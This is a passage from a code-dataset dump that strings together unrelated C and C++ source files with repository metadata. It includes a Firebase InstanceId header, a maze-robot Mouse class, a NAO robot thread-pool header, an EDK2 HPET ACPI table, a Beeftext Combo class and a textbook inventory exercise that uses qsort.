/// avoid overloading application servers with token updates. virtual void onTokenRefresh() = 0; }; #endif // defined(INTERNAL_EXPERIMENTAL) #if defined(INTERNAL_EXPERIMENTAL) // Expose private members of InstanceId to the unit tests. // See FRIEND_TEST() macro in gtest.h for the naming convention here. class InstanceIdTest_TestGetTokenEntityScope_Test; class InstanceIdTest_TestDeleteTokenEntityScope_Test; #endif // defined(INTERNAL_EXPERIMENTAL) #if !defined(DOXYGEN) namespace internal { // Implementation specific data for an InstanceId. class InstanceIdInternal; } // namespace internal #endif // !defined(DOXYGEN) /// @brief Instance ID provides a unique identifier for each app instance and /// a mechanism to authenticate and authorize actions (for example, sending a /// FCM message). /// /// An Instance ID is long lived, but might be reset if the device is not used /// for a long time or the Instance ID service detects a problem. If the /// Instance ID has become invalid, the app can request a new one and send it to /// the app server. To prove ownership of Instance ID and to allow servers to /// access data or services associated with the app, call GetToken. /// /// @if INTERNAL_EXPERIMENTAL /// If an Instance ID is reset, the app will be notified via InstanceIdListener. /// @endif class InstanceId { public: ~InstanceId(); /// @brief Gets the App this object is connected to. /// /// @returns App this object is connected to. App& app() const { return *app_; } #if defined(INTERNAL_EXPERIMENTAL) // TODO(b/69932424): Blocked by iOS implementation. /// @brief Get the time the instance ID was created. /// /// @returns Time (in milliseconds since the epoch) when the instance ID was /// created. int64_t creation_time() const; #endif // defined(INTERNAL_EXPERIMENTAL) /// @brief Returns a stable identifier that uniquely identifies the app /// instance. /// /// @returns Unique identifier for the app instance. Future<std::string> GetId() const; /// @brief Get the results of the most recent call to @ref GetId. Future<std::string> GetIdLastResult() const; /// @brief Delete the ID associated with the app, revoke all tokens and /// allocate a new ID. Future<void> DeleteId(); /// @brief Get the results of the most recent call to @ref DeleteId. Future<void> DeleteIdLastResult() const; /// @brief Returns a token that authorizes an Entity to perform an action on /// behalf of the application identified by Instance ID. /// /// This is similar to an OAuth2 token except, it applies to the /// application instance instead of a user. /// /// For example, to get a token that can be used to send messages to an /// application via Firebase Messaging, set entity to the /// sender ID, and set scope to "FCM". /// /// @returns A token that can identify and authorize the instance of the /// application on the device. Future<std::string> GetToken(); /// @brief Get the results of the most recent call to @ref GetToken. Future<std::string> GetTokenLastResult() const; /// @brief Revokes access to a scope (action) Future<void> DeleteToken(); /// @brief Get the results of the most recent call to @ref DeleteToken. Future<void> DeleteTokenLastResult() const; /// @brief Returns the InstanceId object for an App creating the InstanceId /// if required. /// /// @param[in] app The App to create an InstanceId object from. /// On <b>iOS</b> this must be the default Firebase App. /// @param[out] init_result_out Optional: If provided, write the init result /// here. Will be set to kInitResultSuccess if initialization succeeded, or /// kInitResultFailedMissingDependency on Android if Google Play services is /// not available on the current device. /// /// @returns InstanceId object if successful, nullptr otherwise. static InstanceId* GetInstanceId(App* app, InitResult* init_result_out = nullptr); #if defined(INTERNAL_EXPERIMENTAL) // TODO(b/69930393): Needs to be implemented on Android. /// @brief Set a listener for instance ID changes. /// /// @param listener Listener which is notified when instance ID changes. /// /// @returns Previously registered listener. static InstanceIdListener* SetListener(InstanceIdListener* listener); // Delete the instance_id_internal_. void DeleteInternal(); #endif // defined(INTERNAL_EXPERIMENTAL) private: InstanceId(App* app, internal::InstanceIdInternal* instance_id_internal); #if defined(INTERNAL_EXPERIMENTAL) // Can access GetToken() and DeleteToken() methods for testing. friend class InstanceIdTest_TestGetTokenEntityScope_Test; friend class InstanceIdTest_TestDeleteTokenEntityScope_Test; /// @brief Returns a token that authorizes an Entity to perform an action on /// behalf of the application identified by Instance ID. /// /// This is similar to an OAuth2 token except, it applies to the /// application instance instead of a user. /// /// For example, to get a token that can be used to send messages to an /// application via Firebase Messaging, set entity to the /// sender ID, and set scope to "FCM". /// /// @param entity Entity authorized by the token. /// @param scope Action authorized for entity. /// /// @returns A token that can identify and authorize the instance of the /// application on the device. Future<std::string> GetToken(const char* entity, const char* scope); /// @brief Revokes access to a scope (action) /// /// @param entity entity Entity that must no longer have access. /// @param scope Action that entity is no longer authorized to perform. Future<void> DeleteToken(const char* entity, const char* scope); #endif // defined(INTERNAL_EXPERIMENTAL) private: App* app_; internal::InstanceIdInternal* instance_id_internal_; }; } // namespace instance_id } // namespace firebase #endif // FIREBASE_INSTANCE_ID_CLIENT_CPP_SRC_INCLUDE_FIREBASE_INSTANCE_ID_H_
36.590909
80
0.730435
3f0790fdab3a416d82b37fd87279a8e73c4ac5e1
1,929
h
C
common/core/Mouse.h
keionbis/SmartMouse_2018
26d548a93c282bca8d550b58609f22ea1910fc78
[ "Apache-2.0" ]
null
null
null
common/core/Mouse.h
keionbis/SmartMouse_2018
26d548a93c282bca8d550b58609f22ea1910fc78
[ "Apache-2.0" ]
null
null
null
common/core/Mouse.h
keionbis/SmartMouse_2018
26d548a93c282bca8d550b58609f22ea1910fc78
[ "Apache-2.0" ]
1
2020-08-17T17:10:54.000Z
2020-08-17T17:10:54.000Z
#pragma once #include <math.h> #include "common/core/Direction.h" #include "common/core/AbstractMaze.h" #include "common/core/Pose.h" typedef struct { double gerald_left; double gerald_right; double front_left; double front_right; double back_left; double back_right; double front; } RangeData; /** \brief depresents a mouse * don't ever change the row/col of a mouse directly. This prevents it from * working on the real robot * use forward and turnToFace to move the mouse around. Once those functions * work on the real robot it will port over fluidly */ class Mouse { public: Mouse(); Mouse(AbstractMaze *maze); Mouse(unsigned int starting_row, unsigned int starting_col); Mouse(AbstractMaze *maze, unsigned int starting_row, unsigned int starting_col); void reset(); /** \brief return the current column. * Guaranteed to be between 0 and MAZE_SIZE * \return current column */ unsigned int getCol(); /** \brief return the current row. * Guaranteed to be between 0 and MAZE_SIZE * \return current row */ unsigned int getRow(); /** \brief return the current direction. * \return current direction */ Direction getDir(); /** check if we're in bounds */ bool inBounds(); /** \brief is the mouse at the center of the maze? */ bool atCenter(); void mark_mouse_position_visited(); void internalTurnToFace(Direction dir); void internalForward(); /** prints a maze with a mouse in it */ void print_maze_mouse(); /** creates one long string of the mouse in the maze in ascii */ void maze_mouse_string(char *); virtual SensorReading checkWalls() = 0; /** doesn't simply read sensors. Check the internal maze structure */ bool isWallInDirection(Direction d); AbstractMaze *maze; virtual GlobalPose getGlobalPose() = 0; virtual LocalPose getLocalPose() = 0; protected: unsigned int row, col; Direction dir; };
21.920455
82
0.706065
8b5e7dba25c90898e96ada80f717c0240ec9c157
5,072
h
C
old_aldebaran_cplusplus_sdk/include/althread/althread.h
fernandozuher/naoqi_webots
36aa7b7ed7eb2b305293e860446ca55920d8f92a
[ "Apache-2.0" ]
8
2020-08-01T04:31:50.000Z
2021-11-01T08:39:11.000Z
old_aldebaran_cplusplus_sdk/include/althread/althread.h
fernandozuher/naoqi_webots
36aa7b7ed7eb2b305293e860446ca55920d8f92a
[ "Apache-2.0" ]
3
2020-10-26T13:30:06.000Z
2022-02-18T18:12:44.000Z
old_aldebaran_cplusplus_sdk/include/althread/althread.h
fernandozuher/naoqi_webots
36aa7b7ed7eb2b305293e860446ca55920d8f92a
[ "Apache-2.0" ]
null
null
null
/** * @author Aldebaran-Robotics * Copyright (c) Aldebaran Robotics 2007, 2011 All Rights Reserved */ #pragma once #ifndef _LIBALTHREAD_ALTHREAD_ALTHREAD_H_ #define _LIBALTHREAD_ALTHREAD_ALTHREAD_H_ #include <pthread.h> #include <boost/shared_ptr.hpp> #include <boost/smart_ptr/enable_shared_from_this.hpp> #include <alerror/alerror.h> #include <althread/althreadpool.h> #include <qi/os.hpp> #include <althread/config.h> namespace AL { ALTHREAD_API void * _AL_Thread_Pool_Atom(void * pALThread); class ALMutex; class ALMutexRW; class ALCondition; class ALTHREAD_API ALThread: public ::boost::enable_shared_from_this<ALThread> { friend void * _AL_Thread_Pool_Atom(void * pALThread); public: typedef boost::shared_ptr<ALThread> Ptr; typedef boost::shared_ptr<const ALThread> ConstPtr; typedef boost::weak_ptr<ALThread> WeakPtr; typedef boost::weak_ptr<const ALThread> WeakConstPtr; inline boost::shared_ptr<ALThread> getThis() { return ::boost::enable_shared_from_this<ALThread>::shared_from_this(); } inline boost::shared_ptr<const ALThread> getThis() const { return ::boost::enable_shared_from_this<ALThread>::shared_from_this(); } /** * \brief Constructor. Enqueue the thread in the thread pool. * * Create the structure and enqueue the thread into the thread pool. * Store the unique ID of the thread for its future destruction. * * @param pThreadPool the thread pool managing this thread. * @param pID unique ID of the thread * @param pThreadWait mutex blocking a task when it has nothing to do * @param pWaitForTask cond associated to the mutex */ ALThread(boost::shared_ptr<ALThreadPool> pThreadPool, int pID, boost::shared_ptr<ALMutex> pThreadWait, boost::shared_ptr<ALCondition> pWaitForTask ); /** * Do nothing. */ ~ALThread(); /** * Create and launch the pthread * @return pthread_create error code */ int launch(); /** * Give a new task to the thread. * @return true if a task is assigned. */ bool getTask(); /** * Start the new task. */ void runTask(); /** * \brief setStackSize. set default thread stack size */ static void setStackSize(int pStackSize); /** * \brief setThreadName. set the name of the calling thread (as visible in * debuggers) */ static void setThreadName(const char* pName); /** * \brief apoptosis. Asks the pool for dying. * * Thread scheduling implies creating threads when needed but also deleting threads * when they are no more needed. This function asks the pool thread if the thread * is still needed or not. * * @return true if the thread should kill itself. */ bool apoptosis(); /** * \brief setID. Set a new ID to the thread * * Since a thread ID is its position in the pool, it can be moved and this ID can * change. This function, called ONLY by the thread pool, is here for this purpose * * @param pID new ID */ void setID(int pID) { fID = pID; } /** * Return the ThreadID * @return Thread ID */ pthread_t getThreadID() { return fThreadID; } /** * Return the ID of the thread * @return ID */ int getID() { return fID; } struct qi::os::timeval GetIdleSum(void) const { return fIdleSum; } void ResetIdleSum(void) { fIdleSum.tv_sec = 0; fIdleSum.tv_usec = 0; } protected: // Mutex to stop execution of thread if no task boost::shared_ptr<ALMutex> fThreadWait; // Blocking condition boost::shared_ptr<ALCondition> fWaitForTask; // Task Mutex boost::shared_ptr<ALMutexRW> fTaskMutex; public: inline boost::shared_ptr<ALThreadPool> getThreadPool(void) { boost::shared_ptr<ALThreadPool> returnPtr = fThreadPool.lock(); // it can be possible that the task has to thread pool, but this function should never be called when it's the case. // indeed the thread pool set the task to kill itself when that's the case, and therefore it should exit the thread. return returnPtr; } /** * This thread has been ask to kill its pthread. You just have to wake it up now ! */ void killThread(); private : // last time of beginning of an idle period struct qi::os::timeval fIdleDate; // Thread Idle Time (in usec) // int fIdleTime; // limited to duration shorter than 1h11 !!!!! struct qi::os::timeval fIdleSum; // Unique ID of the thread. int fID; // Unique ID of the pthread pthread_t fThreadID; // Parent Thread Pool boost::weak_ptr<ALThreadPool> fThreadPool; bool fKillThread; // Current task boost::shared_ptr<ALTask> fTask; // not owned (set to NULL if no task) }; } #endif // _LIBALTHREAD_ALTHREAD_ALTHREAD_H_
26.279793
126
0.644519
e9528b0ec3d4c7e291a1b33f40785d858b93d943
2,171
c
C
Platform/Intel/SimicsOpenBoardPkg/AcpiTables/MinPlatformAcpiTables/Hpet/Hpet.c
ADLINK/edk2-platforms
04effc34596c25013feb932808e35628bbd475a2
[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-3-Clause" ]
373
2016-04-18T09:22:36.000Z
2022-03-30T14:19:06.000Z
Platform/Intel/SimicsOpenBoardPkg/AcpiTables/MinPlatformAcpiTables/Hpet/Hpet.c
ADLINK/edk2-platforms
04effc34596c25013feb932808e35628bbd475a2
[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-3-Clause" ]
25
2020-06-24T00:44:40.000Z
2021-08-22T09:39:33.000Z
Platform/Intel/SimicsOpenBoardPkg/AcpiTables/MinPlatformAcpiTables/Hpet/Hpet.c
ADLINK/edk2-platforms
04effc34596c25013feb932808e35628bbd475a2
[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-3-Clause" ]
341
2016-05-05T15:46:20.000Z
2022-03-28T06:57:39.000Z
/** @file This file contains a structure definition for the ACPI 1.0 High Precision Event Timer Description Table (HPET). The contents of this file should only be modified for bug fixes, no porting is required. Copyright (c) 2019 Intel Corporation. All rights reserved. <BR> SPDX-License-Identifier: BSD-2-Clause-Patent **/ // // Statements that include other files // #include <IndustryStandard/Acpi.h> #include <IndustryStandard/HighPrecisionEventTimerTable.h> // // HPET Definitions // #define EFI_ACPI_OEM_HPET_REVISION 0x00000001 #define EFI_ACPI_EVENT_TIMER_BLOCK_ID 0x0 // To be filled // // Event Timer Block Base Address Information // #define EFI_ACPI_EVENT_TIMER_BLOCK_ADDRESS_SPACE_ID EFI_ACPI_3_0_SYSTEM_MEMORY #define EFI_ACPI_EVENT_TIMER_BLOCK_BIT_WIDTH 0x40 #define EFI_ACPI_EVENT_TIMER_BLOCK_BIT_OFFSET 0x00 #define EFI_ACPI_EVENT_TIMER_ACCESS_SIZE 0x00 #define EFI_ACPI_EVENT_TIMER_BLOCK_ADDRESS 0x0 // To be filled #define EFI_ACPI_HPET_NUMBER 0x00 #define EFI_ACPI_MIN_CLOCK_TICK 0x0080 #define EFI_ACPI_HPET_ATTRIBUTES 0x00 // // High Precision Event Timer Table // Please modify all values in Hpet.h only. // EFI_ACPI_HIGH_PRECISION_EVENT_TIMER_TABLE_HEADER Hpet = { { EFI_ACPI_3_0_HIGH_PRECISION_EVENT_TIMER_TABLE_SIGNATURE, sizeof (EFI_ACPI_HIGH_PRECISION_EVENT_TIMER_TABLE_HEADER), EFI_ACPI_HIGH_PRECISION_EVENT_TIMER_TABLE_REVISION, // // Checksum will be updated at runtime // 0x00, // // It is expected that these values will be updated at runtime // { ' ', ' ', ' ', ' ', ' ', ' ' }, 0, EFI_ACPI_OEM_HPET_REVISION, 0, 0 }, EFI_ACPI_EVENT_TIMER_BLOCK_ID, { EFI_ACPI_EVENT_TIMER_BLOCK_ADDRESS_SPACE_ID, EFI_ACPI_EVENT_TIMER_BLOCK_BIT_WIDTH, EFI_ACPI_EVENT_TIMER_BLOCK_BIT_OFFSET, EFI_ACPI_EVENT_TIMER_ACCESS_SIZE, EFI_ACPI_EVENT_TIMER_BLOCK_ADDRESS }, EFI_ACPI_HPET_NUMBER, EFI_ACPI_MIN_CLOCK_TICK, EFI_ACPI_HPET_ATTRIBUTES };
27.481013
88
0.703823
e9714c1f2f25b21c115d4e8c55ae91b1a735b089
4,785
h
C
hardware/compilateur/parser/Program.h
sebastienhouzet/nabaztag-source-code
65197ea668e40fadb35d8ebd0aeb512311f9f547
[ "MIT" ]
3
2017-09-24T14:43:04.000Z
2020-05-28T11:42:54.000Z
hardware/compilateur/parser/Program.h
sebastienhouzet/nabaztag-source-code
65197ea668e40fadb35d8ebd0aeb512311f9f547
[ "MIT" ]
null
null
null
hardware/compilateur/parser/Program.h
sebastienhouzet/nabaztag-source-code
65197ea668e40fadb35d8ebd0aeb512311f9f547
[ "MIT" ]
8
2016-04-09T03:46:26.000Z
2021-11-26T21:42:01.000Z
#ifndef __PROGRAM__ #define __PROGRAM__ #include <cstdlib> #include <iostream> #include <set> #include <stack> #include <string> #include <utility> #include <vector> //Declarations #include "Declaration.h" #include "DeclarationConstant.h" #include "DeclarationFunction.h" #include "DeclarationProto.h" #include "DeclarationType.h" #include "DeclarationVariable.h" #include "DeclarationVMFunction.h" //Expressions #include "Expression.h" #include "ExpressionArray.h" #include "ExpressionBinaryOp.h" #include "ExpressionCall.h" #include "ExpressionChar.h" #include "ExpressionCons.h" #include "ExpressionDot.h" #include "ExpressionFor.h" #include "ExpressionFun.h" #include "ExpressionFunCall.h" #include "ExpressionIf.h" #include "ExpressionInt.h" #include "ExpressionLet.h" #include "ExpressionList.h" #include "ExpressionMatch.h" #include "ExpressionMatchElement.h" #include "ExpressionNil.h" #include "ExpressionParenth.h" #include "ExpressionPointer.h" #include "ExpressionSet.h" #include "ExpressionString.h" #include "ExpressionTuple.h" #include "ExpressionSum.h" #include "ExpressionSumElement.h" #include "ExpressionStruct.h" #include "ExpressionStructCons.h" #include "ExpressionUnaryOp.h" #include "ExpressionUndef.h" #include "ExpressionVal.h" #include "ExpressionWhile.h" //Types #include "Type.h" #include "TypeArray.h" #include "TypeInt.h" #include "TypeString.h" #include "TypeTable.h" //Utils #include "Debug.h" #include "VariableTable.h" #include "VMFunctions.h" using namespace std; class Program { public: static Program* getInstance(); //Utils /** * Checks if a label is already exists * throws exceptioin if true */ void addOperator(string op); void existsDeclarationName(string name, bool all); void initScope(void); void addScope(void); void removeScope(void); void addLocalVariable(string name); void removeLocalVariable(string name); void addGlobalVariable(string name); bool isVariable(string name, bool local=false); bool isGlobalVariable(string name); bool isLocalVariable(string name); bool isStructureField(string name); bool isSumField(string name); void addStructureField(string name); void addSumField(string name); int getFunctionNbArgs(string name); int isSumTypeField(string name); //Utils end //Variable Declaration /** * Add a variable with its expression */ void addDeclarationVariable(string name, bool expression); void addDeclarationConstant(string name); void addDeclarationFunction(string name, int nbArg); void addDeclarationProto(string name, int nbArg); void addDeclarationVMFunction(string name, int nbArg, Type *t); void addDeclarationType(string name); //Variable Declaration end //Expressions void addExpressionChar(string value); void addExpressionInt(int value); void addExpressionString(string value); void addExpressionNil(); void addExpressionArray(int nbValue); void addExpressionTuple(int nbValue); void addExpressionParenth(); void addExpressionUnaryOp(string op); void addExpressionBinaryOp(); void addExpressionVal(int nbExpression); void addExpressionFun(int nbExpr); void addExpressionMultipleOp(int nbExpr); void addExpressionIf(int nb); void addExpressionWhile(void); void addExpressionFor(int nbExpr); void addExpressionList(int nbElts); void addExpressionUndef(void); void addExpressionLet(void); void addExpressionCall(void); void addExpressionPointer(void); void addExpressionSet(int nbExpr); void addExpressionStruct(int nbExpr); void addExpressionSumElement(int nbExpr); void addExpressionSum(int nbExpr); void addExpressionDot(int nbExpr); void addExpressionFunCall(int nbExpr); void addExpressionStructCons(int nbExpr); void addExpressionMatchElement(int nbExpr); void addExpressionMatch(int nbExpr); void addExpressionCons(void); //Expressions end //Operators private: Program(); static Program *instance; TypeTable *typeTable; map<string, DeclarationFunction *> functionMap; map<string, DeclarationVariable *> variableMap; map<string, DeclarationConstant *> constantMap; map<string, DeclarationVMFunction *> vmFunctionMap; map<string, DeclarationType *> typeMap; //Using a seperate map because declarationMap //already contains function names map<string, DeclarationProto *> protoMap; //Used to to store whether the sum type has a constructor or not map<string, bool> sumTypeFieldMap; /** * This stack contains sub expressions * that have been parsed */ stack<Expression *> expressionStack; /** * This stack contains operators * of binary operation expressions */ stack<string> operatorStack; vector<VariableTable *>scopeTable; VariableTable *globalVariableTable; set<string> structureFieldsSet; set<string> sumFieldsSet; void checkStack(string name); }; #endif
25.052356
65
0.776803
6a284ca3abf38f4cfdb742ee42c89d5c00dca970
5,718
h
C
Beeftext/Combo/Combo.h
xmidev/Beeftext
17dfcc74bf51c20186c35d34a3c2c39175d4fadd
[ "MIT" ]
null
null
null
Beeftext/Combo/Combo.h
xmidev/Beeftext
17dfcc74bf51c20186c35d34a3c2c39175d4fadd
[ "MIT" ]
null
null
null
Beeftext/Combo/Combo.h
xmidev/Beeftext
17dfcc74bf51c20186c35d34a3c2c39175d4fadd
[ "MIT" ]
null
null
null
/// \file /// \author Xavier Michelon /// /// \brief Declaration of Combo class that associate a keyword and a snippet /// /// Copyright (c) Xavier Michelon. All rights reserved. /// Licensed under the MIT License. See LICENSE file in the project root for full license information. #ifndef BEEFTEXT_COMBO_H #define BEEFTEXT_COMBO_H #include "Group/GroupList.h" #include "Combo/ComboTrigger.h" #include "MatchingMode.h" #include "BeeftextUtils.h" #include <memory> #include <vector> class Combo; typedef std::shared_ptr<Combo> SpCombo; ///< Type definition for shared pointer to Combo typedef std::vector<SpCombo> VecSpCombo; ///< Type definition for vector of SpCombo //********************************************************************************************************************** /// \brief The combo class that link a combo keyword and a snippet //********************************************************************************************************************** class Combo { public: // member functions Combo(QString name, QString keyword, QString snippet, EMatchingMode matchingMode, EComboTrigger trigger, bool enabled); ///< Default constructor Combo(QJsonObject const& object, qint32 formatVersion, GroupList const& groups = GroupList()); ///< Constructor from JSon object Combo(Combo const&) = delete; ///< Disabled copy constructor Combo(Combo&&) = delete; ///< Disabled move constructor ~Combo() = default; ///< Default destructor Combo& operator=(Combo const&) = delete; ///< Disabled assignment operator Combo& operator=(Combo&&) = delete; ///< Disabled move assignment operator bool isValid() const; ///< Is the combo valid QUuid uuid() const; ///< Get the UUID of the combo QString name() const; ///< Get the name of the combo void setName(QString const& name); ///< Set the name of the combo QString keyword() const; ///< retrieve the keyword void setKeyword(QString const& keyword); ///< Set the keyword QString snippet() const; ///< Retrieve the snippet void setSnippet(QString const& snippet); ///< Set the snippet EMatchingMode matchingMode(bool resolveDefault) const; ///< Get the matching mode of the combo. void setMatchingMode(EMatchingMode mode); ///< Set the matching mode of the combo. EComboTrigger trigger(bool resolveDefault) const; ///< Get the trigger for the combo. void setTrigger(EComboTrigger trigger); ///< Set the trigger for the combo. QDateTime modificationDateTime() const; ///< Retrieve the last modification date/time of the combo QDateTime creationDateTime() const; ///< Retrieve the creation date/time of the combo void setLastUseDateTime(QDateTime const& dateTime); ///< Set the last use date time of the combo. QDateTime lastUseDateTime() const; ///< Retrieve the last use date/time of the combo. SpGroup group() const; ///< Get the combo group the combo belongs to void setGroup(SpGroup const& group); ///< Set the group this combo belongs to QString evaluatedSnippet(bool& outCancelled, const QSet<QString>& forbiddenSubCombos, QMap<QString, QString>& knownInputVariables) const; ///< Retrieve the the snippet after having evaluated it, but leave the #{cursor} variable in place. QString evaluatedSnippet(bool& outCancelled, const QSet<QString>& forbiddenSubCombos, QMap<QString, QString>& knownInputVariables, qint32* outCursorPos) const; ///< Retrieve the the snippet after having evaluated it void setEnabled(bool enabled); ///< Set the combo as enabled or not bool isEnabled() const; ///< Check whether the combo is enabled bool isUsable() const; ///< Check if the combo is usable, i.e. if it is enabled and member of a group that is enabled. bool matchesForInput(QString const& input) const; ///< Check if the combo is a match for the given input bool performSubstitution(); ///< Perform the combo substitution bool insertSnippet(ETriggerSource source); ///< Insert the snippet. QJsonObject toJsonObject(bool includeGroup) const; ///< Serialize the combo in a JSon object void changeUuid(); ///< Get a new Uuid for the combo public: // static functions static SpCombo create(QString const& name = QString(), QString const& keyword = QString(), QString const& snippet = QString(), EMatchingMode matchingMode = EMatchingMode::Default, EComboTrigger trigger = EComboTrigger::Default, bool enabled = true); static SpCombo create(QJsonObject const& object, qint32 formatVersion, GroupList const& groups = GroupList()); ///< create a Combo from a JSON object static SpCombo duplicate(Combo const& combo); ///< Duplicate private: // member functions void touch(); ///< set the modification date/time to now private: // data member QUuid uuid_; ///< The UUID of the combo QString name_; ///< The display name of the combo QString keyword_; ///< The keyword QString snippet_; ///< The snippet EMatchingMode matchingMode_ { EMatchingMode::Default }; ///< The matching mode. EComboTrigger trigger_ { EComboTrigger::Default }; ///< The trigger. SpGroup group_ { nullptr }; ///< The combo group this combo belongs to (may be null) QDateTime creationDateTime_; ///< The date/time of creation of the combo QDateTime modificationDateTime_; ///< The date/time of the last modification of the combo QDateTime lastUseDateTime_; ///< The last use date/time bool enabled_ { true }; ///< Is the combo enabled }; extern QString const kPropUseHtml; ///< The JSON property for the "Use HTML" property, introduced in file format v7 #endif // #ifndef BEEFTEXT_COMBO_H
54.457143
158
0.682931
acb4203e139114637c1a514ac27fb21f6fc3d7e9
8,661
c
C
Chap17_Advanced Uses of Pointers/knkcch17proj02.c
Yaachaka/C_book_solutions
c386df35701c07cae35d5511a061259de64ce005
[ "Unlicense" ]
1
2020-12-04T09:28:58.000Z
2020-12-04T09:28:58.000Z
Chap17_Advanced Uses of Pointers/knkcch17proj02.c
Yaachaka/C_book_solutions
c386df35701c07cae35d5511a061259de64ce005
[ "Unlicense" ]
null
null
null
Chap17_Advanced Uses of Pointers/knkcch17proj02.c
Yaachaka/C_book_solutions
c386df35701c07cae35d5511a061259de64ce005
[ "Unlicense" ]
null
null
null
/* @@@@ PROGRAM NAME: knkcch17proj02.c @@@@ FLAGS: -std=c99 @@@@ PROGRAM STATEMENT: Modify the inventory.c program of Section 16.3 so that the p (print) command calls qsort to sort the inventory array before it prints the parts. */ #include <stdio.h> #include <stdlib.h> //NULL, exit(), EXIT_FAILURE, free(), qsort() #include <ctype.h> //isspace() //----------------------------------------------------------------------------- #define NAME_LEN 25 //----------------------------------------------------------------------------- struct part { int number; char name[NAME_LEN+1]; int on_hand; } *inventory; //----------------------------------------------------------------------------- int num_parts = 0; /* number of parts currently stored */ int max_parts = 3; //Initially 10 maximum locations //----------------------------------------------------------------------------- int readline(char str[], int n); int find_part(int number); void insert(void); void search(void); void update(void); void print(void); int compare_parts(const void *p, const void *q); //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- //------------------------START OF MAIN()-------------------------------------- int main(void) { printf("++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n"); printf("File: %s, C Version: %d, Date: %s, Time: %s\n\n", __FILE__, __STDC_VERSION__, __DATE__, __TIME__); char code; if(!(inventory = malloc(max_parts * sizeof(struct part)))) { printf("Eror: malloc failed."); exit(EXIT_FAILURE); } for (;;) { printf("Enter operation code (i-insert, s-search, u-update, p-print, q-exit): "); scanf(" %c", &code); while (getchar() != '\n') /* skips to end of line */ ; switch (code) { case 'i': insert(); break; case 's': search(); break; case 'u': update(); break; case 'p': print(); break; case 'q': free(inventory); printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n"); return 0; default: printf("Illegal code\n"); } printf("\n"); } printf("\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n"); return 0; } //-------------------------END OF MAIN()--------------------------------------- int read_line(char str[], int n) { int ch, i = 0; while (isspace(ch = getchar())) ; while (ch != '\n' && ch != EOF) { if (i < n) str[i++] = ch; ch = getchar(); } str[i] = '\0'; return i; } //--------------------------------------------------------------------------- int compare_parts(const void *p, const void *q) { return ((struct part *)p)->number - ((struct part *)q)->number; } //--------------------------------------------------------------------------- /********************************************************** * find_part: Looks up a part number in the inventory * * array. Returns the array index if the part * * number is found; otherwise, returns -1. * **********************************************************/ int find_part(int number) { int i; for (i = 0; i < num_parts; i++) if (inventory[i].number == number) return i; return -1; } /********************************************************** * insert: Prompts the user for information about a new * * part and then inserts the part into the * * database. Prints an error message and returns * * prematurely if the part already exists or the * * database is full. * **********************************************************/ void insert(void) { int part_number; if (num_parts == max_parts) if(!(inventory = realloc(inventory, sizeof(struct part) * (max_parts *= 2)))) { printf("Error: realloc failure."); exit(EXIT_FAILURE); } printf("Enter part number: "); scanf("%d", &part_number); if (find_part(part_number) >= 0) { printf("Part already exists.\n"); return; } inventory[num_parts].number = part_number; printf("Enter part name: "); read_line(inventory[num_parts].name, NAME_LEN); printf("Enter quantity on hand: "); scanf("%d", &inventory[num_parts].on_hand); num_parts++; } /********************************************************** * search: Prompts the user to enter a part number, then * * looks up the part in the database. If the part * * exists, prints the name and quantity on hand; * * if not, prints an error message. * **********************************************************/ void search(void) { int i, number; printf("Enter part number: "); scanf("%d", &number); i = find_part(number); if (i >= 0) { printf("Part name: %s\n", inventory[i].name); printf("Quantity on hand: %d\n", inventory[i].on_hand); } else printf("Part not found.\n"); } /********************************************************** * update: Prompts the user to enter a part number. * * Prints an error message if the part doesn't * * exist; otherwise, prompts the user to enter * * change in quantity on hand and updates the * * database. * **********************************************************/ void update(void) { int i, number, change; printf("Enter part number: "); scanf("%d", &number); i = find_part(number); if (i >= 0) { printf("Enter change in quantity on hand: "); scanf("%d", &change); inventory[i].on_hand += change; } else printf("Part not found.\n"); } /********************************************************** * print: Prints a listing of all parts in the database, * * showing the part number, part name, and * * quantity on hand. Parts are printed in the * * order in which they were entered into the * * database. * **********************************************************/ void print(void) { int i; qsort(inventory, num_parts, sizeof(struct part), compare_parts); printf("Part Number Part Name Quantity on Hand\n"); printf("---------------------------------------------------------\n"); for (i = 0; i < num_parts; i++) printf("%7d %-25s%11d\n", inventory[i].number, inventory[i].name, inventory[i].on_hand); } //--------------------------------------------------------------------------- //--------------------------------------------------------------------------- //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- /* OUTPUT: @@@@ Trial1: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ File: knkcch17proj02.c, C Version: 199901, Date: Mar 17 2021, Time: 19:35:15 Enter operation code (i-insert, s-search, u-update, p-print, q-exit): i Enter part number: 4 Enter part name: engine Enter quantity on hand: 343 Enter operation code (i-insert, s-search, u-update, p-print, q-exit): i Enter part number: 2 Enter part name: lights Enter quantity on hand: 675 Enter operation code (i-insert, s-search, u-update, p-print, q-exit): i Enter part number: 6 Enter part name: wipers Enter quantity on hand: 3223 Enter operation code (i-insert, s-search, u-update, p-print, q-exit): i Enter part number: 1 Enter part name: windshield Enter quantity on hand: 456 Enter operation code (i-insert, s-search, u-update, p-print, q-exit): p Part Number Part Name Quantity on Hand --------------------------------------------------------- 1 windshield 456 2 lights 675 4 engine 343 6 wipers 3223 Enter operation code (i-insert, s-search, u-update, p-print, q-exit): q ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ @@@@ Trial2: @@@@ Trial3: @@@@ Trial4: @@@@ Trial5: @@@@ Trial6: @@@@ Trial7: @@@@ Trial8: @@@@ Trial9: */ //---------------------------------------------------------------------------
32.683019
107
0.41531
3a85d7ba8aa5514e574d1c28abefa329b040ea3f
3,201
h
C
src/lab_m1/Tema1/Tema1.h
imihai9/EGC
2a3ff102f4a7aad0ffe3ef922134309238065d37
[ "MIT" ]
1
2022-03-29T08:49:29.000Z
2022-03-29T08:49:29.000Z
src/lab_m1/Tema1/Tema1.h
imihai9/EGC
2a3ff102f4a7aad0ffe3ef922134309238065d37
[ "MIT" ]
null
null
